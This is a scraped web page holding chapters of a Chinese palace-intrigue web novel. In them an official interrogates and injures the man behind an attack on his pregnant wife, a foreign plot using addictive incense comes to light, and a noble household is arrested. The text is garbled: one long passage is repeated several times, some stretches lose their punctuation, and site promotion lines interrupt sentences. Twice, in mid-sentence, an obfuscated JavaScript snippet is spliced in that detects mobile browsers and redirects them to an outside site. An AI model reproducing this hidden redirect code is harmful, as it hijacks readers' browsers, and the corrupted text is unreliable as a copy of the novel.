赵氏飞快在心里想了一遍说辞,软着声开口,然而沈清渊根本没有理会她,直接扭头去了牢房。 牢里,李继贤还在叫嚣:“曹春喜那个**壮得跟头牛似的,身边还有好多高手保护,我的人连她一根头发丝都没有碰到,你们现在帮着她一起整我,等我出去了,我连你们也不会放过!” 李继贤边说边狠狠用脚踹牢门。 看到沈清渊,他并不像赵氏那样觉得心虚,反而故意挑衅:“哟,这不是沈大人嘛,你垮着脸做什么,难道曹春喜真的**?” 最后一句话,李继贤说得像是诅咒。 沈清渊没有回答他,让狱卒打开牢门。 李继贤顿时勾唇笑起:“我就说嘛,曹春喜就是无病呻吟,大理寺怎么可能定我的罪,沈大人该不会是亲自来跟我道歉,求我出去的吧?” 李继贤说完笑出声来,然而他只笑了一下,就被沈清渊一脚狠狠踹到墙上。 不等他反应过来,沈清渊又飞快上前,一脚踩断他的右手。 沈清渊出手太快,直到听到李继贤手骨被踩断的声音,狱卒才反应过来上前劝阻:“沈大人,太傅府大夫人毕竟还在外面等着呢,你不可以动用私刑啊。” 沈清渊没有看他们,抬手亮出一块金令:“陛下有一桩密案交由本官调查,李四公子是关键嫌疑人,现在他归本官管。” 狱卒:“……” 李四公子,你还是自求多福吧。 继续道:“殿下,微辰觉得眼下最重要的事是及时禀报陛下,追根溯源将这些香料尽数销毁,以免有更多人被波及,另外派人去军中查看情况,确定染瘾将士的人数,及时调配兵力补上,以免越西突然发起战事。” 太子自然知道沈清渊是对的,但无忧阁也被卷入其中,他多少有些责任,不知道父皇和朝臣知道以后会对他有什么看法。 看出太子的迟疑,沈清渊一掀衣摆跪下:“人无完人,金无足赤,微臣始终相信,殿下日后定然是千古明君,不管日后如何,微臣定誓死追随殿下。” 沈清渊说完重重地磕了个头。 萧夜辰也跟着磕头道:“草民愿意投军,即刻前往军中,若越西胆敢进犯,草民定战至最后一刻!” 听完两人的话,太子下定了决心,他沉沉道:“好,本宫这就去向父皇请罪!” 直到夜幕降临,沈清渊才从宫里出来。 没等他上马车,阿鲤就冲过来:“大人,今天太傅府四公子来**,现在夫人还在大理寺呢。” 沈清渊面色一沉,快步上了马车,命车夫赶往大理寺。 大理寺里,春喜喝完一副安胎药,又躺在床上虚弱地哼哼起来。 赵氏在门外叫嚷:“曹春喜,我知道你没事,你别装了,你要什么条件出来跟我谈,你这样躲着不敢见人肯定是心里有鬼!” 春喜不想浪费口舌,捂住耳朵,翻身寻了个更舒服的姿势。 好多人都看到了,她可是差点儿被李继贤的人一刀子当场捅死,虽然她和腹中孩子运气好死里逃生,但光天化日之下,李继贤命人杀害三品大员的夫人是不争的事实。 必须严惩不贷。 不然今天这人敢杀她,明天就敢杀上金銮殿去。 早上确实没睡够,伴着赵氏喋喋不休的声音,春喜竟然睡了过去。 与此同时,沈清渊踏进大理寺。 原本理直气壮的赵氏看到他后陡然失声。 沈清渊一身的气息实在冷煞,像是要**,赵氏心头顿时不安起来。 “沈大人,今日之事是个误会……” 赵氏飞快在心里想了一遍说辞,软着声开口,然而沈清渊根本没有理会她,直接扭头去了牢房。 牢里,李继贤还在叫嚣:“曹春喜那个**壮得跟头牛似的,身边还有好多高手保护,我的人连她一根头发丝都没有碰到,你们现在帮着她一起整我,等我出去了,我连你们也不会放过!” 李继贤边说边狠狠用脚踹牢门。 看到沈清渊,他并不像赵氏那样觉得心虚,反而故意挑衅:“哟,这不是沈大人嘛,你垮着脸做什么,难道曹春喜真的**?” 最后一句话,李继贤说得像是诅咒。 沈清渊没有回答他,让狱卒打开牢门。 李继贤顿时勾唇笑起:“我就说嘛,曹春喜就是无病呻吟,大理寺怎么可能定我的罪,沈大人该不会是亲自来跟我道歉,求我出去的吧?” 李继贤说完笑出声来,然而他只笑了一下,就被沈清渊一脚狠狠踹到墙上。 不等他反应过来,沈清渊又飞快上前,一脚踩断他的右手。 沈清渊出手太快,直到听到李继贤手骨被踩断的声音,狱卒才反应过来上前劝阻:“沈大人,太傅府大夫人毕竟还在外面等着呢,你不可以动用私刑啊。” 沈清渊没有看他们,抬手亮出一块金令:“陛下有一桩密案交由本官调查,李四公子是关键嫌疑人,现在他归本官管。” 狱卒:“……” 李四公子,你还是自求多福吧。 继续道:“殿下,微辰觉得眼下最重要的事是及时禀报陛下,追根溯源将这些香料尽数销毁,以免有更多人被波及,另外派人去军中查看情况,确定染瘾将士的人数,及时调配兵力补上,以免越西突然发起战事。” 太子自然知道沈清渊是对的,但无忧阁也被卷入其中,他多少有些责任,不知道父皇和朝臣知道以后会对他有什么看法。 看出太子的迟疑,沈清渊一掀衣摆跪下:“人无完人,金无足赤,微臣始终相信,殿下日后定然是千古明君,不管日后如何,微臣定誓死追随殿下。” 沈清渊说完重重地磕了个头。 萧夜辰也跟着磕头道:“草民愿意投军,即刻前往军中,若越西胆敢进犯,草民定战至最后一刻!” 听完两人的话,太子下定了决心,他沉沉道:“好,本宫这就去向父皇请罪!” 直到夜幕降临,沈清渊才从宫里出来。 没等他上马车,阿鲤就冲过来:“大人,今天太傅府四公子来**,现在夫人还在大理寺呢。” 沈清渊面色一沉,快步上了马车,命车夫赶往大理寺。 大理寺里,春喜喝完一副安胎药,又躺在床上虚弱地哼哼起来。 赵氏在门外叫嚷:“曹春喜,我知道你没事,你别装了,你要什么条件出来跟我谈,你这样躲着不敢见人肯定是心里有鬼!” 春喜不想浪费口舌,捂住耳朵,翻身寻了个更舒服的姿势。 好多人都看到了,她可是差点儿被李继贤的人一刀子当场捅死,虽然她和腹中孩子运气好死里逃生,但光天化日之下,李继贤命人杀害三品大员的夫人是不争的事实。 必须严惩不贷。 不然今天这人敢杀她,明天就敢杀上金銮殿去。 早上确实没睡够,伴着赵氏喋喋不休的声音,春喜竟然睡了过去。 与此同时,沈清渊踏进大理寺。 原本理直气壮的赵氏看到他后陡然失声。 沈清渊一身的气息实在冷煞,像是要**,赵氏心头顿时不安起来。 “沈大人,今日之事是个误会……” 赵氏飞快在心里想了一遍说辞,软着声开口,然而沈清渊根本没有理会她,直接扭头去了牢房。 牢里,李继贤还在叫嚣:“曹春喜那个**壮得跟头牛似的,身边还有好多高手保护,我的人连她一根头发丝都没有碰到,你们现在帮着她一起整我,等我出去了,我连你们也不会放过!” 李继贤边说边狠狠用脚踹牢门。 看到沈清渊,他并不像赵氏那样觉得心虚,反而故意挑衅:“哟,这不是沈大人嘛,你垮着脸做什么,难道曹春喜真的**?” 最后一句话,李继贤说得像是诅咒。 沈清渊没有回答他,让狱卒打开牢门。 李继贤顿时勾唇笑起:“我就说嘛,曹春喜就是无病呻吟,大理寺怎么可能定我的罪,沈大人该不会是亲自来跟我道歉,求我出去的吧?” 李继贤说完笑出声来,然而他只笑了一下,就被沈清渊一脚狠狠踹到墙上。 不等他反应过来,沈清渊又飞快上前,一脚踩断他的右手。 沈清渊出手太快,直到听到李继贤手骨被踩断的声音,狱卒才反应过来上前劝阻:“沈大人,太傅府大夫人毕竟还在外面等着呢,你不可以动用私刑啊。” 沈清渊没有看他们,抬手亮出一块金令:“陛下有一桩密案交由本官调查,李四公子是关键嫌疑人,现在他归本官管。” 狱卒:“……” 李四公子,你还是自求多福吧。 继续道:“殿下,微辰觉得眼下最重要的事是及时禀报陛下,追根溯源将这些香料尽数销毁,以免有更多人被波及,另外派人去军中查看情况,确定染瘾将士的人数,及时调配兵力补上,以免越西突然发起战事。” 太子自然知道沈清渊是对的,但无忧阁也被卷入其中,他多少有些责任,不知道父皇和朝臣知道以后会对他有什么看法。 看出太子的迟疑,沈清渊一掀衣摆跪下:“人无完人,金无足赤,微臣始终相信,殿下日后定然是千古明君,不管日后如何,微臣定誓死追随殿下。” 沈清渊说完重重地磕了个头。 萧夜辰也跟着磕头道:“草民愿意投军,即刻前往军中,若越西胆敢进犯,草民定战至最后一刻!” 听完两人的话,太子下定了决心,他沉沉道:“好,本宫这就去向父皇请罪!” 直到夜幕降临,沈清渊才从宫里出来。 没等他上马车,阿鲤就冲过来:“大人,今天太傅府四公子来**,现在夫人还在大理寺呢。” 沈清渊面色一沉,快步上了马车,命车夫赶往大理寺。 大理寺里,春喜喝完一副安胎药,又躺在床上虚弱地哼哼起来。 赵氏在门外叫嚷:“曹春喜,我知道你没事,你别装了,你要什么条件出来跟我谈,你这样躲着不敢见人肯定是心里有鬼!” 春喜不想浪费口舌,捂住耳朵,翻身寻了个更舒服的姿势。 好多人都看到了,她可是差点儿被李继贤的人一刀子当场捅死,虽然她和腹中孩子运气好死里逃生,但光天化日之下,李继贤命人杀害三品大员的夫人是不争的事实。 必须严惩不贷。 不然今天这人敢杀她,明天就敢杀上金銮殿去。 早上确实没睡够,伴着赵氏喋喋不休的声音,春喜竟然睡了过去。 与此同时,沈清渊踏进大理寺。 原本理直气壮的赵氏看到他后陡然失声。 沈清渊一身的气息实在冷煞,像是要**,赵氏心头顿时不安起来。 “沈大人,今日之事是个误会……” 赵氏飞快在心里想了一遍说辞,软着声开口,然而沈清渊根本没有理会她,直接扭头去了牢房。 牢里,李继贤还在叫嚣:“曹春喜那个**壮得跟头牛似的,身边还有好多高手保护,我的人连她一根头发丝都没有碰到,你们现在帮着她一起整我,等我出去了,我连你们也不会放过!” 李继贤边说边狠狠用脚踹牢门。 看到沈清渊,他并不像赵氏那样觉得心虚,反而故意挑衅:“哟,这不是沈大人嘛,你垮着脸做什么,难道曹春喜真的**?” 最后一句话,李继贤说得像是诅咒。 沈清渊没有回答他,让狱卒打开牢门。 李继贤顿时勾唇笑起:“我就说嘛,曹春喜就是无病呻吟,大理寺怎么可能定我的罪,沈大人该不会是亲自来跟我道歉,求我出去的吧?” 李继贤说完笑出声来,然而他只笑了一下,就被沈清渊一脚狠狠踹到墙上。 不等他反应过来,沈清渊又飞快上前,一脚踩断他的右手。 沈清渊出手太快,直到听到李继贤手骨被踩断的声音,狱卒才反应过来上前劝阻:“沈大人,太傅府大夫人毕竟还在外面等着呢,你不可以动用私刑啊。” 沈清渊没有看他们,抬手亮出一块金令:“陛下有一桩密案交由本官调查,李四公子是关键嫌疑人,现在他归本官管。” 狱卒:“……” 李四公子,你还是自求多福吧。 继续道:“殿下,微辰觉得眼下最重要的事是及时禀报陛下,追根溯源将这些香料尽数销毁,以免有更多人被波及,另外派人去军中查看情况,确定染瘾将士的人数,及时调配兵力补上,以免越西突然发起战事。” 太子自然知道沈清渊是对的,但无忧阁也被卷入其中,他多少有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210860|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些责任,不知道父皇和朝臣知道以后会对他有什么看法。 看出太子的迟疑,沈清渊一掀衣摆跪下:“人无完人,金无足赤,微臣始终相信,殿下日后定然是千古明君,不管日后如何,微臣定誓死追随殿下。” 沈清渊说完重重地磕了个头。 萧夜辰也跟着磕头道:“草民愿意投军,即刻前往军中,若越西胆敢进犯,草民定战至最后一刻!” 听完两人的话,太子下定了决心,他沉沉道:“好,本宫这就去向父皇请罪!” 直到夜幕降临,沈清渊才从宫里出来。 没等他上马车,阿鲤就冲过来:“大人,今天太傅府四公子来**,现在夫人还在大理寺呢。” 沈清渊面色一沉,快步上了马车,命车夫赶往大理寺。 大理寺里,春喜喝完一副安胎药,又躺在床上虚弱地哼哼起来。 赵氏在门外叫嚷:“曹春喜,我知道你没事,你别装了,你要什么条件出来跟我谈,你这样躲着不敢见人肯定是心里有鬼!” 春喜不想浪费口舌,捂住耳朵,翻身寻了个更舒服的姿势。 好多人都看到了,她可是差点儿被李继贤的人一刀子当场捅死,虽然她和腹中孩子运气好死里逃生,但光天化日之下,李继贤命人杀害三品大员的夫人是不争的事实。 必须严惩不贷。 不然今天这人敢杀她,明天就敢杀上金銮殿去。 早上确实没睡够,伴着赵氏喋喋不休的声音,春喜竟然睡了过去。 与此同时,沈清渊踏进大理寺。 原本理直气壮的赵氏看到他后陡然失声。 沈清渊一身的气息实在冷煞,像是要**,赵氏心头顿时不安起来。 “沈大人,今日之事是个误会……” 赵氏飞快在心里想了一遍说辞,软着声开口,然而沈清渊根本没有理会她,直接扭头去了牢房。 牢里,李继贤还在叫嚣:“曹春喜那个**壮得跟头牛似的,身边还有好多高手保护,我的人连她一根头发丝都没有碰到,你们现在帮着她一起整我,等我出去了,我连你们也不会放过!” 李继贤边说边狠狠用脚踹牢门。 看到沈清渊,他并不像赵氏那样觉得心虚,反而故意挑衅:“哟,这不是沈大人嘛,你垮着脸做什么,难道曹春喜真的**?” 最后一句话,李继贤说得像是诅咒。 沈清渊没有回答他,让狱卒打开牢门。 李继贤顿时勾唇笑起:“我就说嘛,曹春喜就是无病呻吟,大理寺怎么可能定我的罪,沈大人该不会是亲自来跟我道歉,求我出去的吧?” 李继贤说完笑出声来,然而他只笑了一下,就被沈清渊一脚狠狠踹到墙上。 不等他反应过来,沈清渊又飞快上前,一脚踩断他的右手。 沈清渊出手太快,直到听到李继贤手骨被踩断的声音,狱卒才反应过来上前劝阻:“沈大人,太傅府大夫人毕竟还在外面等着呢,你不可以动用私刑啊。” 沈清渊没有看他们,抬手亮出一块金令:“陛下有一桩密案交由本官调查,李四公子是关键嫌疑人,现在他归本官管。” 狱卒:“……” 李四公子,你还是自求多福吧。 继续道:“殿下,微辰觉得眼下最重要的事是及时禀报陛下,追根溯源将这些香料尽数销毁,以免有更多人被波及,另外派人去军中查看情况,确定染瘾将士的人数,及时调配兵力补上,以免越西突然发起战事。” 太子自然知道沈清渊是对的,但无忧阁也被卷入其中,他多少有些责任,不知道父皇和朝臣知道以后会对他有什么看法。 看出太子的迟疑,沈清渊一掀衣摆跪下:“人无完人,金无足赤,微臣始终相信,殿下日后定然是千古明君,不管日后如何,微臣定誓死追随殿下。” 沈清渊说完重重地磕了个头。 萧夜辰也跟着磕头道:“草民愿意投军,即刻前往军中,若越西胆敢进犯,草民定战至最后一刻!” 听完两人的话,太子下定了决心,他沉沉道:“好,本宫这就去向父皇请罪!” 直到夜幕降临,沈清渊才从宫里出来。 没等他上马车,阿鲤就冲过来:“大人,今天太傅府四公子来**,现在夫人还在大理寺呢。” 沈清渊面色一沉,快步上了马车,命车夫赶往大理寺。 大理寺里,春喜喝完一副安胎药,又躺在床上虚弱地哼哼起来。 赵氏在门外叫嚷:“曹春喜,我知道你没事,你别装了,你要什么条件出来跟我谈,你这样躲着不敢见人肯定是心里有鬼!” 春喜不想浪费口舌,捂住耳朵,翻身寻了个更舒服的姿势。 好多人都看到了,她可是差点儿被李继贤的人一刀子当场捅死,虽然她和腹中孩子运气好死里逃生,但光天化日之下,李继贤命人杀害三品大员的夫人是不争的事实。 必须严惩不贷。 不然今天这人敢杀她,明天就敢杀上金銮殿去。 早上确实没睡够,伴着赵氏喋喋不休的声音,春喜竟然睡了过去。 与此同时,沈清渊踏进大理寺。 原本理直气壮的赵氏看到他后陡然失声。 沈清渊一身的气息实在冷煞,像是要**,赵氏心头顿时不安起来。 “沈大人,今日之事是个误会……” 赵氏飞快在心里想了一遍说辞,软着声开口,然而沈清渊根本没有理会她,直接扭头去了牢房。 牢里,李继贤还在叫嚣:“曹春喜那个**壮得跟头牛似的,身边还有好多高手保护,我的人连她一根头发丝都没有碰到,你们现在帮着她一起整我,等我出去了,我连你们也不会放过!” 李继贤边说边狠狠用脚踹牢门。 看到沈清渊,他并不像赵氏那样觉得心虚,反而故意挑衅:“哟,这不是沈大人嘛,你垮着脸做什么,难道曹春喜真的**?” 最后一句话,李继贤说得像是诅咒。 沈清渊没有回答他,让狱卒打开牢门。 李继贤顿时勾唇笑起:“我就说嘛,曹春喜就是无病呻吟,大理寺怎么可能定我的罪,沈大人该不会是亲自来跟我道歉,求我出去的吧?” 李继贤说完笑出声来,然而他只笑了一下,就被沈清渊一脚狠狠踹到墙上。 不等他反应过来,沈清渊又飞快上前,一脚踩断他的右手。 沈清渊出手太快,直到听到李继贤手骨被踩断的声音,狱卒才反应过来上前劝阻:“沈大人,太傅府大夫人毕竟还在外面等着呢,你不可以动用私刑啊。” 沈清渊没有看他们,抬手亮出一块金令:“陛下有一桩密案交由本官调查,李四公子是关键嫌疑人,现在他归本官管。” 狱卒:“……” 李四公子,你还是自求多福吧。 继续道:“殿下,微辰觉得眼下最重要的事是及时禀报陛下,追根溯源将这些香料尽数销毁,以免有更多人被波及,另外派人去军中查看情况,确定染瘾将士的人数,及时调配兵力补上,以免越西突然发起战事。” 太子自然知道沈清渊是对的,但无忧阁也被卷入其中,他多少有些责任,不知道父皇和朝臣知道以后会对他有什么看法。 看出太子的迟疑,沈清渊一掀衣摆跪下:“人无完人,金无足赤,微臣始终相信,殿下日后定然是千古明君,不管日后如何,微臣定誓死追随殿下。” 沈清渊说完重重地磕了个头。 萧夜辰也跟着磕头道:“草民愿意投军,即刻前往军中,若越西胆敢进犯,草民定战至最后一刻!” 听完两人的话,太子下定了决心,他沉沉道:“好,本宫这就去向父皇请罪!” 直到夜幕降临,沈清渊才从宫里出来。 没等他上马车,阿鲤就冲过来:“大人,今天太傅府四公子来**,现在夫人还在大理寺呢。” 沈清渊面色一沉,快步上了马车,命车夫赶往大理寺。 大理寺里,春喜喝完一副安胎药,又躺在床上虚弱地哼哼起来。 赵氏在门外叫嚷:“曹春喜,我知道你没事,你别装了,你要什么条件出来跟我谈,你这样躲着不敢见人肯定是心里有鬼!” 春喜不想浪费口舌,捂住耳朵,翻身寻了个更舒服的姿势。 好多人都看到了,她可是差点儿被李继贤的人一刀子当场捅死,虽然她和腹中孩子运气好死里逃生,但光天化日之下,李继贤命人杀害三品大员的夫人是不争的事实。 必须严惩不贷。 不然今天这人敢杀她,明天就敢杀上金銮殿去。 早上确实没睡够,伴着赵氏喋喋不休的声音,春喜竟然睡了过去。 与此同时,沈清渊踏进大理寺。 原本理直气壮的赵氏看到他后陡然失声。 沈清渊一身的气息实在冷煞,像是要**,赵氏心头顿时不安起来。 “沈大人,今日之事是个误会……” 赵氏飞快在心里想了一遍说辞,软着声开口,然而沈清渊根本没有理会她,直接扭头去了牢房。 牢里,李继贤还在叫嚣:“曹春喜那个**壮得跟头牛似的,身边还有好多高手保护,我的人连她一根头发丝都没有碰到,你们现在帮着她一起整我,等我出去了,我连你们也不会放过!” 李继贤边说边狠狠用脚踹牢门。 看到沈清渊,他并不像赵氏那样觉得心虚,反而故意挑衅:“哟,这不是沈大人嘛,你垮着脸做什么,难道曹春喜真的**?” 最后一句话,李继贤说得像是诅咒。 沈清渊没有回答他,让狱卒打开牢门。 李继贤顿时勾唇笑起:“我就说嘛,曹春喜就是无病呻吟,大理寺怎么可能定我的罪,沈大人该不会是亲自来跟我道歉,求我出去的吧?” 李继贤说完笑出声来,然而他只笑了一下,就被沈清渊一脚狠狠踹到墙上。 不等他反应过来,沈清渊又飞快上前,一脚踩断他的右手。 沈清渊出手太快,直到听到李继贤手骨被踩断的声音,狱卒才反应过来上前劝阻:“沈大人,太傅府大夫人毕竟还在外面等着呢,你不可以动用私刑啊。” 沈清渊没有看他们,抬手亮出一块金令:“陛下有一桩密案交由本官调查,李四公子是关键嫌疑人,现在他归本官管。” 狱卒:“……” 李四公子,你还是自求多福吧。 第309章 败露 李继贤是个不中用的软骨头,被沈清渊带入刑讯室没多久就全招了。 凝香阁的醒神香是他从翁州带回来的,娇娘和媚娘不仅武功高强,更是制香的高手。 两人能给李继贤带来巨大的利益,还对李继贤千依百顺,李继贤高兴还来不及,自然没有彻查两人的来历。 审完李继贤,沈清渊又去审了娇娘和媚娘。 两人都是硬骨头,一句话也不肯说。 到了要用刑的时候,两人都想寻死,但被沈清渊阻止了。 一番大刑用下来,刑讯室里充斥着浓郁的血腥味,两人身上血肉模糊,恶狠狠地瞪着沈清渊,如同恶狼,要吃他的肉,嚼他的骨。 再一次被用刑时,娇娘忍不住冲沈清渊吐了口唾沫,还骂了一句话。 她的发音很是奇怪,并不是用的昭陵话。 沈清渊却听明白了,她是越西人。 结合萧夜辰带回来的消息,沈清渊已经推测这些香料都是越西的阴谋,但直到听到娇娘说越西话,他才能完全确定。 越西的狼子野心不改,并且图谋许久,想要倾覆昭陵! 又花了一个多时辰,审讯才终于结束。 出了刑房,沈清渊洗了手,又换了身衣裳,才去见春喜。 春喜睡了一觉已经醒了,一看到沈清渊,立刻娇娇弱弱地喊起来:“夫君,你总算来了,你可不知道,我和孩儿今天差点儿就见不到你啦~ 春喜还不知道李继贤已经被抓,尽心尽力地演着戏,尽可能地把事情说得严重些。 沈清渊走过去把她拥入怀中,拍着她的背,配合地安抚:“夫人受惊了,都是为夫不好,没有照顾好夫人,夫人放心,为夫定会替你和腹中孩儿讨回公道。 春喜环住沈清渊的腰,感动道:“夫君真好。 春喜和沈清渊在这儿夫妻情深,太傅府里,赵氏和云晚棠之间却是气氛冷凝 “大嫂,不是我说你,你对贤儿未免也太宠溺了些,就算清远侯被削了爵,曹春喜也还是三品大臣的夫人,贤儿怎么能跑到人家府门口,当着那么多人的面喊打喊杀呢? 上次在公主府被驸马弄得下不来台,云晚棠这几日都在家中悉心教导玥姐儿该如何应对突发情况,猛然听到李继贤跑去跟春喜抢孩子,还闹进了大理寺,云晚棠忍不住在心里骂人。 这个成事不足败事有余的蠢货,就不能消停些吗? 云晚棠的语气带着责备,赵氏顿时沉了脸,冷声说:“当初要不是弟妹非要把沈 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 清迟扶正我能让她生下这个孩子吗如今弟妹是打算撒手不管了?” 这桩婚事没有给李继贤带来任何好处反而让赵氏觉得很丢脸赵氏对云晚棠的怨念越来越深。 云晚棠蹙眉反驳:“我那日劝过大嫂把那孩子留在身边是大嫂执意要写下断亲书不要那孩子的大嫂为什么又要让贤儿去抢孩子?” 李继贤当然不是因为有了父爱要把那孩子抢过来好好养着不过是寻了个由头去找茬罢了谁知道会闹到大理寺去? 赵氏知道自己不占理并不接这话只道:“现在不是追究这些的时候最重要的是先把贤儿救出来曹春喜毫发未伤大理寺凭什么揪着贤儿不放?” 这是幸好曹春喜没被伤到要是曹春喜有个什么好歹别说李继贤恐怕整个太傅府都得被沈清渊盯上。 宝华郡主突然死亡已经让销魂香引起朝廷的注意了云晚棠不想在这个时候再惹麻烦正想打发赵氏离开却听到赵氏说:“这次贤儿去翁州发现了不少秘密五弟妹要是不帮我把贤儿救出来万一贤儿说出什么对五弟和五弟妹不利的话就不好了。” 赵氏话里都是威胁云晚棠脸色微变连忙追问:“贤儿跟大嫂说了什么?” “我年纪大记不得了等五弟妹把贤儿救出来当面问问就知道了。” 丢下这句话赵氏大摇大摆地离开。 云晚棠只觉得心烦意乱。 她和李怀景在翁州买了很多地种香料可以源源不断地给无忧阁供销魂香这是一个可以持久生财的大买卖但瀚京人多眼杂难免被盯上。 让李继贤和卫凌泽去翁州的确是想拉他们一起做这件事但主动权得掌握在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215970|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们夫妻手上而且分利也得占大头。 翁州负责打理香料的都是云晚棠的心腹李继贤就是个纨绔子弟不过去翁州走了一趟能查到什么? 云晚棠不安心当即写了信让人送往翁州。 送信的人刚走卫凌泽又来了。 云晚棠正好想问他一些关于李继贤的事 云晚棠脸上笑意温婉瞧着很是和善可亲卫凌泽勾了勾唇皮笑肉不笑:“最近凝香阁有一种醒神香卖得很好我想买来试试结果没货了只能来求小姨希望小姨能再给我一些。” 卫凌泽的语气颇冷云晚棠听着莫名感觉有些阴阳怪气。 她眼皮一跳诧异道:“什么醒 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 神香,我这几日没出门,都没听说过,泽儿怎么想到要找我买?” 卫凌泽唇角下压,表情渐冷:“小姨,我也不是外人,在我面前,你就不用演了吧。” 赵氏的威胁云晚棠并不放在眼里,卫凌泽的话却让云晚棠心悸。 翁州到底出什么事了,怎么卫凌泽和李继贤去了一趟回来就都变了? 正心慌着,下人又来报:“五夫人,御史台的沈大人来了,老夫人让大家都到前厅去。” 李继贤都被扣在大理寺了,沈清渊还来太傅府做什么? 云晚棠越发心慌,卫凌泽适时起身:“既然小姨有事要忙,我就不打扰了,我对那醒神香好奇得很,还望小姨早点派人送给我瞧瞧是什么稀罕物。” “泽儿,等等!” 云晚棠想拦,卫凌泽直接大步离开。 快到大门口时,正好迎面碰上沈清渊。 沈清渊不是一个人来的,还带了很多大理寺的黑甲卫,不像是单纯的来为曹春喜讨公道,更像是抄家。 卫凌泽顿时心头一凛,下意识地加快步子,却被沈清渊叫住:“侄婿。” 卫凌泽停下来,镇定开口:“沈叔叔,有什么事吗?” “有些关于太傅府的事,我想问问侄婿,还请侄婿一起走一趟。” “……” 第310章 要十斤醒神香 太傅府的人都被带进了大理寺,连去太傅府的卫凌泽也一并被带走。 这个消息很快传遍各大世家,所有人都很好奇太傅府出了什么事,然而大理寺像是铁桶一般,所有人都对这件事三缄其口,谁也打听不到半点儿风声。 云氏得到消息后急得不行,等卫父一回家就迫不及待地问:“老爷,今日朝中可是出了什么事?沈清渊怎么突然把太傅府的人都抓走了,泽儿去找阿棠,也没回来,不会出事吧?” 卫父面色沉重,半晌盯着云氏问:“你跟你妹妹这些年私下可有背着我做什么交易?” 云氏心里打了个突,连忙摇头:“没有,我和阿棠写信只是聊一些家长里短,从没有私下做什么交易,而且阿棠这个人心气高,她也不喜欢钱财这种身外之物啊。” 虽然之前生了点儿嫌隙,云氏还是下意识地维护云晚棠这个妹妹。 见卫父的脸色仍是十分凝重,云氏忍不住问:“是阿棠和妹夫他们做了什么吗?” “我不知道,陛下今日召了很多大臣去御书房议事,但没有召我。” 卫父刚开始还以为陛下还在不满卫凌泽冬猎时的表现,如今听到太傅府出事,顿时意识到不对劲。 太傅府这次,怕是摊上大事了。 云氏被卫父说得有些害怕,捏紧绢帕道:“这些年我虽与阿棠常有书信往来,但泽儿跟太傅府的来往并不密切,而且泽儿还病了三年,就算太傅府真的做了什么,泽儿也不会参与在其中的。” 云氏说的卫父自然也知道,他沉默良久,才又看向云氏:“这次泽儿从翁州回来,可有与你说过什么?” 接风那日,李继贤带了两个妖艳女子进卫家,言行举止更是处处放浪,宴席结束后,卫父就要问卫凌泽去翁州的见闻,但被云氏阻止了。 云氏后来也找过卫凌泽,但每次去都是房门紧闭,卫凌泽并不愿意跟她说话。 云氏心中越发担忧,摇头道:“没有,泽儿回来这些日子大多数时间都一个人待在屋里,谁也不愿意见。” “那他今天去太傅府做什么?” 卫父对云氏的回答并不满意,声音拔高了些,云氏抿唇,答不上来。 她也是出事后才知道卫凌泽去了太傅府,并不清楚其中缘由。 卫父见状,气得怒骂:“一问三不知,你是怎么做当家主母的?” 云氏脸上火辣辣的,说不出话来。 与此同时,瑛王府。 岚舒和往常一样,花枝招展地出现在瑛 王面前。 “小人见过王爷……” 不等岚舒行礼,瑛王急切道:“沈清渊把太傅府的人都带走了,你可探听到什么消息?” “诶?有这事?”岚舒露出惊讶之色,在瑛王瞪过来时,立刻道,“听说太傅府四公子去了沈府**,不仅要抢孩子,还要让人杀了沈夫人,沈大人应该是为了给沈夫人出气吧。” 瑛王听得冷笑:“曹春喜屁事没有,沈清渊就算要给她出气,也没有理由把整个太傅府的人都带走,你的猪脑子能不能想点儿事?” 岚舒并不在意被骂,想了想道:“沈大人在京兆府查案多年,说不定掌握了太傅府一些把柄,这次正好清算,宝华郡主虽然因为销魂香**,但无忧阁背后真正的主人是太子殿下,沈大人难道敢查太子殿下?” 听到太子的名号,瑛王安心了些。 是了,无忧阁背后是太子,就算因为宝华郡主的死,查到销魂香,也没人敢继续追查下去。 见瑛王的脸色缓和,岚舒继续道:“其实小人觉得,这次太傅府出事对王爷来说是好事。” 瑛王掀眸睨着岚舒,示意他继续说下去。 岚舒索性坐到瑛王对面:“李大人他们分明有法子制出更多的香,却藏着掖着不让王爷知道,如今老天有眼,让整个太傅府都遭了难,王爷正好可以趁机让他们交出香料的种植方法和制作技艺,这样以后赚的钱不都是王爷一个人的吗?” 这话说到瑛王心坎儿上了。 他的母妃只是寻常秀女出身,娘家并无依靠,他虽被封了亲王,但实际上就是个闲散王爷,家底远没有恒阳公主丰厚,若不自己找路子赚钱,只怕过得还没有世家大族的少爷好。 这销魂香是能让人飘飘欲仙的好东西,一旦用上就不想断,说是聚宝盆也不为过。 瑛王跟李怀景合作,拿的是大头,但谁会嫌钱多呢? 而且岚舒说得对,李怀景撒谎在先,那就怪不得瑛王不仁义。 瑛王若有所思,片刻后开口:“你先回无忧阁继续盯着,有任何风吹草动第一时间来报。” “是,”岚舒飞快应声,而后提醒,“第二批货也快卖完了,王爷要早做决断才行啊。” 说完这句话,岚舒离开。 出了王府,一上马车,萧夜辰的剑又抵上岚舒的脖子。 